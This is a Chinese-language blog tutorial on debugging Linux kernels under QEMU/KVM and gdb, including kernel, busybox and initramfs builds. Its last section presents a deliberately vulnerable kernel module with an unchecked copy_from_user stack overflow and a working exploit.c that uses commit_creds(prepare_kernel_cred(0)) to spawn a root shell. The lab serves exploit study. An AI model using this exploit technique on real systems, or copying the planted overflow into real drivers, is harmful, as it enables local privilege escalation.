Sunichi's Blog

sunichi@DUBHE | Linux & Pwn & Fuzz

0%

Debug Linux Kernel With QEMU/KVM

之前师兄给我看过一个双Ubuntu on VMware Workstation的Linux Kernel调试解决方案,但是在Mac下配起来比Win上困难好多,因此就使用CentOS on VMware Fusion + QEMU/KVM的方案来搭建Linux Kernel(用目标内核替换发行版Linux的内核)调试环境。后来又改进成直接在VM中使用QEMU直接启动Linux Kernel来调试。

使用虚拟机源码调试Linux Kernel

实验环境:

1
2
3
宿主:macOS Mojave + VMware Fusion 11 Pro
虚拟机:CentOS 7.6.1810 64 bit
被调试机:CentOS 6.10 64 bit

虚拟机配置

建议分配50G以上的硬盘空间。在设置中需要打开在此虚拟机中启用虚拟化管理程序选项以让虚拟机提供Intel VT-x/EPT支持。使用CentOS的Live版本的iso进行安装,选择”Test Then Start”的选项启动系统避免发生错误。

能够正常打开系统后,选择安装到硬盘即可。

QEMU/KVM环境配置

在虚拟机中安装QEMU/KVM和VIRT环境:

1
yum install qemu-kvm qemu-system virt-manager libvirt libvirt-python libvirt-client virt-install virt-viewer

启动libvirtd

1
service libvirtd start

在启动virt-manager时,如果遇到权限问题,则修改/etc/libvirt/qemu.conf,添加下述内容并重启服务。

1
2
user = "root" 
group = "root"

下载所要调试的内核的载体操作系统,并将iso文件放到libvirt的images目录下。通过virt-manager创建KVM,硬盘空间建议设置为25G以上。在进行到最后一步时勾选启动前进行配置。在设置面板的CPU选项中,将复制CPU参数选中然后再开始进行安装。

经上述步骤后,KVM启动,使用

1
2
virsh list
virsh edit

来修改配置,将第一行改为

1
<domain type='kvm' xmlns:qemu='http://libvirt.org/schemas/domain/qemu/1.0'>

</device>后加入

1
2
3
4
5
<qemu:commandline>
<qemu:arg value='-S'/>
<qemu:arg value='-gdb'/>
<qemu:arg value='tcp::1234'/>
</qemu:commandline>

当KVM被重启后,将会在localhost开启1234端口进行gdb的监听。

在被调试机中编译和使用其他版本Linux内核

在QEMU/KVM中安装

1
yum install gcc ncurses-devel

从kernel.org上下载3.18.35源码,修改Makefile文件的617行的KBUILD_CFLAGS值为O1,进行编译

1
2
3
4
make menuconfig
make
make modules_install
make install

make install后,会报一些could not find module的错误,忽略之。查看当前已有的内核版本

1
cat /boot/grub/grub.conf | awk '$1=="title" {print i++ " :" $NF}'

修改当前默认启动的内核版本后,重启即可。

1
2
3
vi /boot/grub/grub.conf
default = 0
reboot

调试Linux内核

由于之前已经设置好了参数,在被调试机启动后将会开启1234端口作为gdb的调试端口,将编译好的vmlinux保存到虚拟机中,启动gdb进行调试。

1
2
3
scp root@kvm_ip:/path/to/vmlinux ./
gdb vmlinux
target remote localhost:1234

使用QEMU源码调试Linux Kernel

实验环境:

1
2
宿主:macOS Mojave + VMware Fusion 11 Pro + Ubuntu 16.04.6 
被调试机:Linux Kernel 2.6.32.29

编译Linux内核

由于所需要编译的Linux版本较低,因此需要将gcc切换成gcc 4.8后再编译。

1
2
3
sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-x x
sudo update-alternatives --config gcc
make

编译busybox

一开始在Ubuntu 18.04上静态编译的时候,遇到libc版本的问题,在Linux Kernel启动的时候会提示kernel too old。在编译前需要使用以下指令检查下当前libc所支持的内核版本,如果所支持的版本过高,需要使用低版本libc。

1
file /path/to/libc-x.xx.so

需要将busybox的编译选项设置为静态编译。

1
2
3
make menuconfig
make
make install

把生成的_install文件夹拷贝到linux kernel源代码根目录。

生成文件系统

进入_install目录,创建文件夹

1
2
3
4
5
6
7
8
mkdir etc
mkdir dev
mkdir mnt
mkdir -p etc/init.d/
mkdir home
mkdir root
touch etc/passwd
touch etc/group

创建etc/init.d/rcS文件

1
2
3
4
5
6
7
8
9
10
mkdir -p /proc
mkdir -p /tmp
mkdir -p /sys
mkdir -p /mnt
/bin/mount -a
mkdir -p /dev/pts
mount -t devpts devpts /dev/pts
echo /sbin/mdev > /proc/sys/kernel/hotplug
# 在部分版本的kernel编译时,需要手动配置UEVENT_HELPER后再进行编译
mdev -s
1
chmod +x rcS

创建etc/fstab文件

1
2
3
4
proc /proc proc defaults 0 0
tmpfs /tmp tmpfs defaults 0 0
sysfs /sys sysfs defaults 0 0
tmpfs /dev tmpfs defaults 0 0

创建etc/inittab文件

1
2
3
4
::sysinit:/etc/init.d/rcS
::respawn:-/bin/sh
::askfirst:-/bin/sh
::ctrlaltdel:/bin/umount -a -r

在dev/创建设备节点

1
2
sudo mknod console c 5 1
sudo mknod null c 1 3

创建文件系统,在_install文件夹中执行

1
find . -print0 | cpio --null -ov --format=newc | gzip -9 > ../initramfs.img

QEMU启动Linux Kernel

1
qemu-system-x86_64 -kernel /path/to/bzImage -initrd /path/to/initramfs.img -m 200M -append "rdinit=/linuxrc"

使用deboostrap创建文件系统

使用deboostrap需要良好的网络环境支持。

GDB Patch

使用gdb调试的时候,会出现g pack too long的报错,可通过网上的方法解决(修改gdb源码并重新编译),虽然能够正常调试,但首次attach上无法正常显示pwngdb等插件的界面,退出再重新attach即可(QEMU使用选项-S和-s)。

编译特定内核版本的驱动

在Makefile中指定根目录即可

1
ROOTDIR := /path/to/kernel/source

在系统中加载驱动后,会被挂载在sys目录下而不是dev目录。

基本内核栈溢出漏洞调试

简单内核栈溢出示例

使用

1
qemu-system-x86_64 -kernel /path/to/bzImage -initrd /path/to/initramfs.img -m 200M -append "rdinit=/linuxrc" -S -s

启动内核并使用gdb进行调试。

示例驱动源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/proc_fs.h>
#include <linux/string.h>
#include <linux/vmalloc.h>
#include <linux/sched.h>
#include <linux/uaccess.h>

struct proc_dir_entry *proc_file_entry;
uint64_t rbx, rbp;
// Buggy write handling
int buggy_write(struct file *file,
const char *buf,
unsigned long len) {

char data[8];
copy_from_user(data, buf, len);
return len;
}

static struct file_operations buggy_proc_fops = {
.write = buggy_write,
};

int init_module() {
printk(" module started\n");
printk(" creating proc entry @ /proc/buggy\n");

proc_file_entry = proc_create("buggy", 0666, NULL, &buggy_proc_fops);

return 0;
}

void cleanup_module() {
remove_proc_entry("buggy", NULL);
}

Makefile:

1
2
3
4
5
6
7
8
9
10
11
obj-m := sbof.o
ROOTDIR := /path/to/linux/src
PWD := $(shell pwd)

default:
$(MAKE) -C $(ROOTDIR) M=$(PWD) modules
$(CC) --static -o exploit exploit.c

clean:
$(MAKE) -C $(ROOTDIR) M=$(PWD) clean
rm exploit

exploit.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/user.h>

#define STACK_SIZE (1024 * 1024)
char ownstack[STACK_SIZE];
struct fake_frame {
void *rip; /* shell() */
uint64_t cs; /* %cs */
uint64_t rflags; /* rflags */
void *rsp; /* %rsp */
uint64_t ss; /* %ss */
} __attribute__( (packed) ) ff;

#define KERNCALL __attribute__( (regparm( 3 ) ) )
void * (*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xffffffff8105d4e9;
void * (*commit_creds)(void *) KERNCALL = (void *) 0xffffffff8105d5c7;

void shell( void )
{
execl( "/bin/sh", "sh", 0 );
}


void payload( void )
{
commit_creds( prepare_kernel_cred( 0 ) );
asm ("mov $ff, %rsp;\n"
"swapgs;\n"
"iretq;");
}


void setup_ff( void )
{
asm ("xorq %rax, %rax;\n"
"movw %cs, %ax;\n"
"movq %rax, ff+8;\n"
"pushfq; popq ff+16;\n"
"movw %ss, %ax;\n"
"movq %rax, ff+32;\n");
ff.rip = &shell;
ff.rsp = ownstack + (STACK_SIZE / 2);
}


int main()
{
FILE *fd;
char buf[8 * 6];
memset( buf, 'A', sizeof(buf) );
*( (void * *) (buf + 8 * 4) ) = &payload;
int ret = 0;
unsigned long addr;
char dummy;
char sname[512];

/* setup fake frame */
fprintf( stdout, "[+] preparing fake frame" );
setup_ff();

/* write payload */
fprintf( stdout, "[+] writing payload to /proc/buggy" );
fd = fopen( "/proc/buggy", "w" );
if ( fd == NULL )
{
perror( "fopen()" );
return(-1);
}
fwrite( buf, sizeof(buf), 1, fd );
fclose( fd );

return(0);
}

编译完驱动和exploit后重新打包文件系统并启动Kernel。安装模块后,使用

1
cat /sys/modules/sbof/section/.text

查看模块代码段地址,并在gdb中

1
2
gdb-peda$ add-symbols-file sbof.ko <内存位置>
gdb-peda$ b <内存位置>

获取commit_credsprepare_kernel_cred函数的内存地址:

1
2
grep commit_creds /sys/kallsyms
grep prepare_kernel_cred /sys/kallsyms

执行exploit之前最好切换到非root用户,执行exploit后获取root权限。

gadget搜索

在性能良好的主机上使用Ropper:

1
ropper --file ./vmlinux --nocolor > g1

Ubuntu 64位下编译32位程序

内核

1
make ARCH=i386

Busybox

修改编译选项

1
2
(-m32 -march=i386) Additional CFLAGS
(-m32) Additional LDFLAGS

驱动

1
export CFLAGS="-m32"

参考文章和资料

http://terenceli.github.io/%E6%8A%80%E6%9C%AF/2016/06/21/gdb-linux-kernel-by-qemu

https://www.ibm.com/developerworks/cn/linux/1508_zhangdw_gdb/index.html

http://sec-redclub.com/archives/636/

《奔跑吧,Linux内核 入门篇》